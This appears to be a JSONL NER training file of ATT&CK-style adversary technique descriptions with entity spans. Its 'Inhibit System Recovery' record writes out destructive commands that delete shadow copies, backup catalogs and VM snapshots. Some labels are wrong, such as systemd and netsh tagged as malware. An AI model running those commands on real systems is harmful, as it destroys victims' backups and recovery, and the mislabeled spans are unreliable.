+{"text": "An adversary may gather the system time and/or time zone settings from a local or remote system. The system time is set and stored by services, such as the Windows Time Service on Windows or <code>systemsetup</code> on macOS. These time settings may also be synchronized between systems and services in an enterprise network, typically accomplished with a network time server within a domain.\n\nSystem time information may be gathered in a number of ways, such as with Net on Windows by performing <code>net time \\\\hostname</code> to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>. In addition, adversaries can discover device uptime through functions such as <code>GetTickCount()</code> to determine how long it has been since the system booted up.\n\nOn network devices, Network Device CLI commands such as `show clock detail` can be used to see the current time configuration. On ESXi servers, `esxcli system clock get` can be used for the same purpose.\n\nIn addition, system calls – such as <code>time()</code> – have been used to collect the current time on Linux devices. On macOS systems, adversaries may use commands such as <code>systemsetup -gettimezone</code> or <code>timeIntervalSinceNow</code> to gather current time zone information or current date and time.\n\nThis information could be useful for performing other techniques, such as executing a file with a Scheduled Task/Job, or to discover locality information based on time zone to assist in victim targeting (i.e. System Location Discovery). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.", "spans": {"SYSTEM: macOS": [[219, 224], [1190, 1195]], "SYSTEM: ESXi": [[993, 997]], "SYSTEM: Windows": [[156, 163], [180, 187], [475, 482]], "SYSTEM: Linux": [[1172, 1177]]}, "info": {"source": "apt_reports", "name": "System Time Discovery"}}
+{"text": "Adversaries may abuse the at utility to perform task scheduling for initial or recurring execution of malicious code. The at utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of Scheduled Task's schtasks in Windows environments, using at requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. In addition to explicitly running the `at` command, adversaries may also schedule a task with at by directly leveraging the Windows Management Instrumentation `Win32_ScheduledJob` WMI class.\n\nOn Linux and macOS, at may be invoked by the superuser as well as any users added to the <code>at.allow</code> file. If the <code>at.allow</code> file does not exist, the <code>at.deny</code> file is checked. Every username not listed in <code>at.deny</code> is allowed to invoke at. If the <code>at.deny</code> exists and is empty, global use of at is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use at.\n\nAdversaries may use at to execute programs at system startup or on a scheduled basis for Persistence. at can also be abused to conduct remote Execution as part of Lateral Movement and/or to run a process under the context of a specified account (such as SYSTEM).\n\nIn Linux environments, adversaries may also abuse at to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, at may also be used for Privilege Escalation if the binary is allowed to run as superuser via <code>sudo</code>.", "spans": {"TOOL: schtasks": [[290, 298]], "SYSTEM: macOS": [[184, 189], [667, 672]], "SYSTEM: WMI": [[642, 645]], "SYSTEM: Windows": [[164, 171], [302, 309], [586, 593]], "SYSTEM: Linux": [[173, 178], [657, 662], [1380, 1385]]}, "info": {"source": "apt_reports", "name": "At"}}
+{"text": "Adversaries may execute a binary, command, or script via a method that interacts with Windows services, such as the Service Control Manager. This can be done by either creating a new service or modifying an existing service. This technique is the execution used in conjunction with New Service and Modify Existing Service during service persistence or privilege escalation.", "spans": {"SYSTEM: Windows": [[86, 93]], "VULNERABILITY: privilege escalation": [[352, 372]]}, "info": {"source": "apt_reports", "name": "Service Execution"}}
+{"text": "Adversaries may inject dynamic-link libraries (DLLs) into processes in order to evade process-based defenses as well as possibly elevate privileges. DLL injection is a method of executing arbitrary code in the address space of a separate live process.  \n\nDLL injection is commonly performed by writing the path to a DLL in the virtual address space of the target process before loading the DLL by invoking a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> (which calls the <code>LoadLibrary</code> API responsible for loading the DLL).  \n\nVariations of this method such as reflective DLL injection (writing a self-mapping DLL into a process) and memory module (map DLL when writing into process) overcome the address relocation issue as well as the additional APIs to invoke execution (since these methods load and execute the files in memory by manually preforming the function of <code>LoadLibrary</code>). \n\nAnother variation of this method, often referred to as Module Stomping/Overloading or DLL Hollowing, may be leveraged to conceal injected code within a process. This method involves loading a legitimate DLL into a remote process then manually overwriting the module's <code>AddressOfEntryPoint</code> before starting a new thread in the target process. This variation allows attackers to hide malicious injected code by potentially backing its execution with a legitimate DLL file on disk. \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via DLL injection may also evade detection from security products since the execution is masked under a legitimate process.", "spans": {"SYSTEM: Windows": [[459, 466]], "VULNERABILITY: reflective DLL injection": [[717, 741]]}, "info": {"source": "apt_reports", "name": "Dynamic-link Library Injection"}}
+{"text": "PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.  Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer. \n\nPowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk.\n\nAdministrator permissions are required to use PowerShell to connect to remote systems.\n\nA number of PowerShell-based offensive testing tools are available, including Empire,  PowerSploit,  and PSAttack. \n\nPowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly exposed through the .NET framework and Windows Common Language Interface (CLI).", "spans": {"TOOL: PowerShell": [[0, 10], [149, 159], [417, 427], [611, 621], [665, 675], [770, 780], [893, 903]], "TOOL: PowerSploit": [[740, 751]], "TOOL: Empire": [[731, 737]], "TOOL: powershell": [[849, 859]], "SYSTEM: Windows": [[102, 109], [994, 1001]], "SYSTEM: .NET": [[975, 979]]}, "info": {"source": "apt_reports", "name": "PowerShell"}}
+{"text": "Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors.\n\nIn addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals. In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries).\n\nAn adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation.\n\nAdversaries may use exploits during various phases of the adversary lifecycle (i.e. Exploit Public-Facing Application, Exploitation for Client Execution, Exploitation for Privilege Escalation, Exploitation for Defense Evasion, Exploitation for Credential Access, Exploitation of Remote Services, and Application or System Exploitation).", "spans": {}, "info": {"source": "apt_reports", "name": "Exploits"}}
+{"text": "Adversaries may modify authentication mechanisms and processes to access user credentials or enable otherwise unwarranted access to accounts. The authentication process is handled by mechanisms, such as the Local Security Authentication Server (LSASS) process and the Security Accounts Manager (SAM) on Windows, pluggable authentication modules (PAM) on Unix-based systems, and authorization plugins on MacOS systems, responsible for gathering, storing, and validating credentials. By modifying an authentication process, an adversary may be able to authenticate to a service or system without using Valid Accounts.\n\nAdversaries may maliciously modify a part of this process to either reveal credentials or bypass authentication mechanisms. Compromised credentials or access may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access and remote desktop.", "spans": {"SYSTEM: Unix": [[354, 358]], "SYSTEM: Windows": [[303, 310]], "SYSTEM: Outlook": [[981, 988]]}, "info": {"source": "apt_reports", "name": "Modify Authentication Process"}}
+{"text": "Adversaries may maintain persistence through executing malicious content triggered using udev rules. Udev is the Linux kernel device manager that dynamically manages device nodes, handles access to pseudo-device files in the `/dev` directory, and responds to hardware events, such as when external devices like hard drives or keyboards are plugged in or removed. Udev uses rule files with `match keys` to specify the conditions a hardware event must meet and `action keys` to define the actions that should follow. Root permissions are required to create, modify, or delete rule files located in `/etc/udev/rules.d/`, `/run/udev/rules.d/`, `/usr/lib/udev/rules.d/`, `/usr/local/lib/udev/rules.d/`, and `/lib/udev/rules.d/`. Rule priority is determined by both directory and by the digit prefix in the rule filename.\n\nAdversaries may abuse the udev subsystem by adding or modifying rules in udev rule files to execute malicious content. For example, an adversary may configure a rule to execute their binary each time the pseudo-device file, such as `/dev/random`, is accessed by an application. Although udev is limited to running short tasks and is restricted by systemd-udevd's sandbox (blocking network and filesystem access), attackers may use scripting commands under the action key `RUN+=` to detach and run the malicious content’s process in the background to bypass these controls.", "spans": {"FILEPATH: /etc/udev/rules.d/`,": [[597, 617]], "FILEPATH: /run/udev/rules.d/`,": [[619, 639]], "FILEPATH: /usr/lib/udev/rules.d/`,": [[641, 665]], "FILEPATH: /usr/local/lib/udev/rules.d/`,": [[667, 697]], "FILEPATH: /lib/udev/rules.d/`.": [[703, 723]], "FILEPATH: /dev/random`,": [[1050, 1063]], "SYSTEM: Linux": [[113, 118]], "MALWARE: systemd": [[1164, 1171]]}, "info": {"source": "apt_reports", "name": "Udev Rules"}}
+{"text": "Adversaries may hook into Windows application programming interface (API) functions and Linux system functions to collect user credentials. Malicious hooking mechanisms may capture API or function calls that include parameters that reveal user authentication credentials. Unlike Keylogging, this technique focuses specifically on API functions that include parameters that reveal user credentials. \n\nIn Windows, hooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs.\n* **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored.\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow.\n\nIn Linux and macOS, adversaries may hook into system functions via the `LD_PRELOAD` (Linux) or `DYLD_INSERT_LIBRARIES` (macOS) environment variables, which enables loading shared libraries into a program’s address space. For example, an adversary may capture credentials by hooking into the `libc read` function leveraged by SSH or SCP.", "spans": {"TOOL: SSH": [[1195, 1198]], "SYSTEM: macOS": [[883, 888], [990, 995]], "SYSTEM: Windows": [[26, 33], [403, 410]], "SYSTEM: Linux": [[88, 93], [873, 878], [955, 960]]}, "info": {"source": "apt_reports", "name": "Credential API Hooking"}}
+{"text": "Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus denying the availability to use the devices and/or the system. Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices may include the motherboard, hard drive, or video cards.\n\nIn general, adversaries may manipulate, overwrite, or corrupt firmware in order to deny the use of the system or devices. For example, corruption of firmware responsible for loading the operating system for network devices may render the network devices inoperable. Depending on the device, this attack may also result in Data Destruction.", "spans": {"SYSTEM: BIOS": [[73, 77]]}, "info": {"source": "apt_reports", "name": "Firmware Corruption"}}
+{"text": "Adversaries may delete or remove built-in data and turn off services designed to aid in the recovery of a corrupted system to prevent recovery. This may deny access to available backups and recovery options.\n\nOperating systems may contain features that can help fix corrupted systems, such as a backup catalog, volume shadow copies, and automatic repair features. Adversaries may disable or delete system recovery features to augment the effects of Data Destruction and Data Encrypted for Impact. Furthermore, adversaries may disable recovery notifications, then corrupt backups.\n\nA number of native Windows utilities have been used by adversaries to disable or delete system recovery features:\n\n* <code>vssadmin.exe</code> can be used to delete all volume shadow copies on a system - <code>vssadmin.exe delete shadows /all /quiet</code>\n* Windows Management Instrumentation can be used to delete volume shadow copies - <code>wmic shadowcopy delete</code>\n* <code>wbadmin.exe</code> can be used to delete the Windows Backup Catalog - <code>wbadmin.exe delete catalog -quiet</code>\n* <code>bcdedit.exe</code> can be used to disable automatic Windows recovery features by modifying boot configuration data - <code>bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no</code>\n* <code>REAgentC.exe</code> can be used to disable Windows Recovery Environment (WinRE) repair/recovery options of an infected system\n* <code>diskshadow.exe</code> can be used to delete all volume shadow copies on a system - <code>diskshadow delete shadows all</code>  \n\nOn network devices, adversaries may leverage Disk Wipe to delete backup firmware images and reformat the file system, then System Shutdown/Reboot to reload the device. Together this activity may leave network devices completely inoperable and inhibit recovery operations.\n\nOn ESXi servers, adversaries may delete or encrypt snapshots of virtual machines to support Data Encrypted for Impact, preventing them from being leveraged as backups (e.g., via ` vim-cmd vmsvc/snapshot.removeall`).\n\nAdversaries may also delete “online” backups that are connected to their network – whether via network storage media or through folders that sync to cloud services. In cloud environments, adversaries may disable versioning and backup policies and delete snapshots, database backups, machine images, and prior versions of objects designed to be used in disaster recovery scenarios.", "spans": {"TOOL: vssadmin": [[704, 712], [791, 799]], "TOOL: wmic": [[926, 930]], "TOOL: cmd": [[2053, 2056]], "SYSTEM: ESXi": [[1872, 1876]], "SYSTEM: Windows": [[600, 607], [840, 847], [1009, 1016], [1141, 1148], [1376, 1383]]}, "info": {"source": "apt_reports", "name": "Inhibit System Recovery"}}
+{"text": "Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility. The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\\SOFTWARE\\Microsoft\\Netsh</code>.\n\nAdversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.", "spans": {"SYSTEM: Windows": [[395, 402]], "SYSTEM: VPN": [[724, 727]], "ORGANIZATION: Microsoft": [[435, 444]], "MALWARE: netsh": [[352, 357], [480, 485], [605, 610], [768, 773]]}, "info": {"source": "apt_reports", "name": "Netsh Helper DLL"}}
+{"text": "Adversaries may send spearphishing messages via third-party services in an attempt to gain access to victim systems. Spearphishing via service is a specific variant of spearphishing. It is different from other forms of spearphishing in that it employs the use of third party services rather than directly via enterprise email channels. \n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries will create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and software that's running in an environment. The adversary can then send malicious links or attachments through these services.\n\nA common example is to build rapport with a target via social media, then send content to a personal webmail service that the target uses on their work computer. This allows an adversary to bypass some email restrictions on the work account, and the target is more likely to open the file since it's something they were expecting. If the payload doesn't work as expected, the adversary can continue normal communications and troubleshoot with the target on how to get it working.", "spans": {"VULNERABILITY: spearphishing": [[21, 34], [168, 181], [219, 232], [351, 364], [728, 741]]}, "info": {"source": "apt_reports", "name": "Spearphishing via Service"}}
+{"text": "Adversaries may use an internal proxy to direct command and control traffic between two or more systems in a compromised environment. Many tools exist that enable traffic redirection through proxies or port redirection, including HTRAN, ZXProxy, and ZXPortMap.  Adversaries use internal proxies to manage command and control communications inside a compromised environment, to reduce the number of simultaneous outbound network connections, to provide resiliency in the face of connection loss, or to ride over existing trusted communications paths between infected systems to avoid suspicion. Internal proxy connections may use common peer-to-peer (p2p) networking protocols, such as SMB, to better blend in with the environment.\n\nBy using a compromised internal system as a proxy, adversaries may conceal the true destination of C2 traffic while reducing the need for numerous connections to external systems.", "spans": {"SYSTEM: SMB": [[685, 688]], "MALWARE: HTRAN": [[230, 235]]}, "info": {"source": "apt_reports", "name": "Internal Proxy"}}
+{"text": "Adversaries may use trusted scripts, often signed with certificates, to proxy the execution of malicious files. Several Microsoft signed scripts that have been downloaded from Microsoft or are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.", "spans": {"SYSTEM: Windows": [[204, 211]], "ORGANIZATION: Microsoft": [[120, 129], [176, 185]]}, "info": {"source": "apt_reports", "name": "System Script Proxy Execution"}}
+{"text": "Adversaries may communicate using a custom command and control protocol instead of encapsulating commands/data in an existing Application Layer Protocol. Implementations include mimicking well-known protocols or developing custom protocols (including raw sockets) on top of fundamental protocols provided by TCP/IP/another standard network stack.", "spans": {}, "info": {"source": "apt_reports", "name": "Custom Command and Control Protocol"}}
+{"text": "Adversaries may use an existing, legitimate external Web service to host information that points to additional command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of a dead drop resolver may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).", "spans": {"ORGANIZATION: Google": [[638, 644]]}, "info": {"source": "apt_reports", "name": "Dead Drop Resolver"}}
+{"text": "InstallUtil is a command-line utility that allows for installation and uninstallation of resources by executing specific installer components specified in .NET binaries.  InstallUtil is located in the .NET directories on a Windows system: <code>C:\\Windows\\Microsoft.NET\\Framework\\v<version>\\InstallUtil.exe</code> and <code>C:\\Windows\\Microsoft.NET\\Framework64\\v<version>\\InstallUtil.exe</code>. InstallUtil.exe is digitally signed by Microsoft.\n\nAdversaries may use InstallUtil to proxy execution of code through a trusted Windows utility. InstallUtil may also be used to bypass process whitelisting through use of attributes within the binary that execute the class decorated with the attribute <code>[System.ComponentModel.RunInstaller(true)]</code>.", "spans": {"FILEPATH: C:\\Windows\\Microsoft.NET\\Framework\\v": [[245, 281]], "FILEPATH: C:\\Windows\\Microsoft.NET\\Framework64\\v": [[324, 362]], "TOOL: InstallUtil": [[0, 11], [171, 182], [291, 302], [372, 383], [396, 407], [467, 478], [541, 552]], "SYSTEM: Windows": [[223, 230], [248, 255], [327, 334], [524, 531]], "SYSTEM: .NET": [[155, 159], [201, 205]], "ORGANIZATION: Microsoft": [[256, 265], [335, 344], [435, 444]]}, "info": {"source": "apt_reports", "name": "InstallUtil"}}
+{"text": "Adversaries may add junk data to protocols used for command and control to make detection more difficult. By adding random or meaningless data to the protocols used for command and control, adversaries can prevent trivial methods for decoding, deciphering, or otherwise analyzing the traffic. Examples may include appending/prepending data with junk characters or writing junk characters between significant characters.", "spans": {}, "info": {"source": "apt_reports", "name": "Junk Data"}}
+{"text": "Adversaries may send spearphishing messages via third-party services to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages.\n\nAll forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries send messages through various social media services, personal webmail, and other non-enterprise controlled services. These services are more likely to have a less-strict security policy than an enterprise. As with most kinds of spearphishing, the goal is to generate rapport with the target or get the target's interest in some way. Adversaries may create fake social media accounts and message employees for potential job opportunities. Doing so allows a plausible reason for asking about services, policies, and information about their environment. Adversaries may also use information from previous reconnaissance efforts (ex: Social Media or Search Victim-Owned Websites) to craft persuasive and believable lures.", "spans": {"VULNERABILITY: spearphishing": [[21, 34], [540, 553], [917, 930]]}, "info": {"source": "apt_reports", "name": "Spearphishing Service"}}
+{"text": "**This technique has been deprecated. Please use Non-Standard Port where appropriate.**\n\nAdversaries may communicate over a commonly used port to bypass firewalls or network detection systems and to blend with normal network activity to avoid more detailed inspection. They may use commonly open ports such as\n\n* TCP:80 (HTTP)\n* TCP:443 (HTTPS)\n* TCP:25 (SMTP)\n* TCP/UDP:53 (DNS)\n\nThey may use the protocol associated with the port or a completely different protocol. \n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), examples of common ports are \n\n* TCP/UDP:135 (RPC)\n* TCP/UDP:22 (SSH)\n* TCP/UDP:3389 (RDP)", "spans": {"TOOL: SSH": [[654, 657]], "TOOL: RDP": [[675, 678]]}, "info": {"source": "apt_reports", "name": "Commonly Used Port"}}
+{"text": "Adversaries may abuse vSphere Installation Bundles (VIBs) to establish persistent access to ESXi hypervisors. VIBs are collections of files used for software distribution and virtual system management in VMware environments. Since ESXi uses an in-memory filesystem where changes made to most files are stored in RAM rather than in persistent storage, these modifications are lost after a reboot. However, VIBs can be used to create startup tasks, apply custom firewall rules, or deploy binaries that persist across reboots. Typically, administrators use VIBs for updates and system maintenance.\n\nVIBs can be broken down into three components:\n\n* VIB payload: a `.vgz` archive containing the directories and files to be created and executed on boot when the VIBs are loaded.  \n* Signature file: verifies the host acceptance level of a VIB, indicating what testing and validation has been done by VMware or its partners before publication of a VIB. By default, ESXi hosts require a minimum acceptance level of PartnerSupported for VIB installation, meaning the VIB is published by a trusted VMware partner. However, privileged users can change the default acceptance level using the `esxcli` command line interface. Additionally, VIBs are able to be installed regardless of acceptance level by using the <code> esxcli software vib install --force</code> command. \n* XML descriptor file: a configuration file containing associated VIB metadata, such as the name of the VIB and its dependencies.  \n\nAdversaries may leverage malicious VIB packages to maintain persistent access to ESXi hypervisors, allowing system changes to be executed upon each bootup of ESXi – such as using  `esxcli` to enable firewall rules for backdoor traffic, creating listeners on hard coded ports, and executing backdoors. Adversaries may also masquerade their malicious VIB files as PartnerSupported by modifying the XML descriptor file.", "spans": {"SYSTEM: ESXi": [[92, 96], [231, 235], [959, 963], [1576, 1580], [1653, 1657]], "SYSTEM: vSphere": [[22, 29]], "SYSTEM: VMware": [[204, 210], [895, 901], [1089, 1095]]}, "info": {"source": "apt_reports", "name": "vSphere Installation Bundles"}}
+{"text": "Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.\n\nAn adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment. An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components.", "spans": {"SYSTEM: Kubernetes": [[132, 142], [477, 487], [525, 535], [637, 647]], "SYSTEM: Docker": [[117, 123], [260, 266], [595, 601]]}, "info": {"source": "apt_reports", "name": "Container API"}}
+{"text": "Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant. Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account, taking advantage of renewal process gaps, or compromising a cloud service that enables managing domains (e.g., AWS Route53).\n\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.\n\nAdversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.", "spans": {"SYSTEM: AWS": [[654, 657]]}, "info": {"source": "apt_reports", "name": "Domains"}}
+{"text": "Adversaries may abuse SQL stored procedures to establish persistent access to systems. SQL Stored Procedures are code that can be saved and reused so that database users do not waste time rewriting frequently used SQL queries. Stored procedures can be invoked via SQL statements to the database using the procedure name or via defined events (e.g. when a SQL server application is started/restarted).\n\nAdversaries may craft malicious stored procedures that can provide a persistence mechanism in SQL database servers. To execute operating system commands through SQL syntax the adversary may have to enable additional functionality, such as xp_cmdshell for MSSQL Server. \n\nMicrosoft SQL Server can enable common language runtime (CLR) integration. With CLR integration enabled, application developers can write stored procedures using any .NET framework language (e.g. VB .NET, C#, etc.). Adversaries may craft or modify CLR assemblies that are linked to stored procedures since these CLR assemblies can be made to execute arbitrary commands.", "spans": {"SYSTEM: SQL Server": [[683, 693]], "SYSTEM: .NET": [[839, 843], [872, 876]], "ORGANIZATION: Microsoft": [[673, 682]]}, "info": {"source": "apt_reports", "name": "SQL Stored Procedures"}}
+{"text": "Adversaries may use Patch System Image to hard code a password in the operating system, thus bypassing of native authentication mechanisms for local accounts on network devices.\n\nModify System Image may include implanted code to the operating system for network devices to provide access for adversaries using a specific password.  The modification includes a specific password which is implanted in the operating system image via the patch.  Upon authentication attempts, the inserted code will first check to see if the user input is the password. If so, access is granted. Otherwise, the implanted code will pass the credentials on for verification of potentially valid credentials.", "spans": {}, "info": {"source": "apt_reports", "name": "Network Device Authentication"}}
+{"text": "Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.\n\nAdversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface. Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data. Adversaries have also been observed leveraging third-party drivers like RawDisk to directly access disk content. This behavior is distinct from Data Destruction because sections of the disk are erased instead of individual files.\n\nTo maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.", "spans": {"SYSTEM: SMB": [[1129, 1132]], "SYSTEM: Windows": [[1133, 1140]], "MALWARE: RawDisk": [[673, 680]]}, "info": {"source": "apt_reports", "name": "Disk Content Wipe"}}
+{"text": "Adversaries may leverage chat and messaging applications, such as Microsoft Teams, Google Chat, and Slack, to mine valuable information.  \n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on messaging applications: \n\n* Testing / development credentials (i.e., Chat Messages) \n* Source code snippets \n* Links to network shares and other internal resources \n* Proprietary data\n* Discussions about ongoing incident response efforts\n\nIn addition to exfiltrating data from messaging applications, adversaries may leverage data from chat messages in order to improve their targeting - for example, by learning more about an environment or evading ongoing incident response efforts.", "spans": {"SYSTEM: Slack": [[100, 105]], "SYSTEM: Microsoft Teams": [[66, 81]], "ORGANIZATION: Microsoft": [[66, 75]], "ORGANIZATION: Google": [[83, 89]]}, "info": {"source": "apt_reports", "name": "Messaging Applications"}}
+{"text": "Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.\n\nAdversaries may opt to obfuscate this data, without the use of encryption, within network protocols that are natively unencrypted (such as HTTP, FTP, or DNS). This may include custom or publicly available encoding/compression algorithms (such as base64) as well as embedding data within protocol headers and fields.", "spans": {}, "info": {"source": "apt_reports", "name": "Exfiltration Over Unencrypted Non-C2 Protocol"}}
+{"text": "Adversaries may use compression to obfuscate their payloads or files. Compressed file formats such as ZIP, gzip, 7z, and RAR can compress and archive multiple files together to make it easier and faster to transfer files. In addition to compressing files, adversaries may also compress shellcode directly - for example, in order to store it in a Windows Registry key (i.e., Fileless Storage).\n\nIn order to further evade detection, adversaries may combine multiple ZIP files into one archive. This process of concatenation creates an archive that appears to be a single archive but in fact contains the central directories of the embedded archives. Some ZIP readers, such as 7zip, may not be able to identify concatenated ZIP files and miss the presence of the malicious payload.\n\nFile archives may be sent as one Spearphishing Attachment through email. Adversaries have sent malicious payloads as archived files to encourage the user to interact with and extract the malicious payload onto their system (i.e., Malicious File). However, some file compression tools, such as 7zip, can be used to produce self-extracting archives. Adversaries may send self-extracting archives to hide the functionality of their payload and launch it without requiring multiple actions from the user.\n\nCompression may be used in combination with Encrypted/Encoded File where compressed files are encrypted and password-protected.", "spans": {"TOOL: RAR": [[121, 124]], "TOOL: 7zip": [[674, 678], [1073, 1077]], "SYSTEM: Windows": [[346, 353]]}, "info": {"source": "apt_reports", "name": "Compression"}}
+{"text": "Adversaries may execute their own payloads by placing a malicious dynamic library (dylib) with an expected name in a path a victim application searches at runtime. The dynamic loader will try to find the dylibs based on the sequential order of the search paths. Paths to dylibs may be prefixed with <code>@rpath</code>, which allows developers to use relative paths to specify an array of search paths used at runtime based on the location of the executable.  Additionally, if weak linking is used, such as the <code>LC_LOAD_WEAK_DYLIB</code> function, an application will still execute even if an expected dylib is not present. Weak linking enables developers to run an application on multiple macOS versions as new APIs are added.\n\nAdversaries may gain execution by inserting malicious dylibs with the name of the missing dylib in the identified path. Dylibs are loaded into an application's address space allowing the malicious dylib to inherit the application's privilege level and resources. Based on the application, this could result in privilege escalation and uninhibited network access. This method may also evade detection from security products since the execution is masked under a legitimate process.", "spans": {"SYSTEM: macOS": [[695, 700]], "VULNERABILITY: privilege escalation": [[1044, 1064]]}, "info": {"source": "apt_reports", "name": "Dylib Hijacking"}}
+{"text": "Adversaries may install an older version of the operating system of a network device to weaken security.  Older operating system versions on network devices often have weaker encryption ciphers and, in general, fewer/less updated defensive features. \n\nOn embedded devices, downgrading the version typically only requires replacing the operating system file in storage.  With most embedded devices, this can be achieved by downloading a copy of the desired version of the operating system file and reconfiguring the device to boot from that file on next system restart.  The adversary could then restart the device to implement the change immediately or they could wait until the next time the system restarts.\n\nDowngrading the system image to an older versions may allow an adversary to evade defenses by enabling behaviors such as Weaken Encryption.  Downgrading of a system image can be done on its own, or it can be used in conjunction with Patch System Image.", "spans": {}, "info": {"source": "apt_reports", "name": "Downgrade System Image"}}
+{"text": "Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service.\n\nLocal Accounts may also be abused to elevate privileges and harvest credentials through OS Credential Dumping. Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement.", "spans": {}, "info": {"source": "apt_reports", "name": "Local Accounts"}}
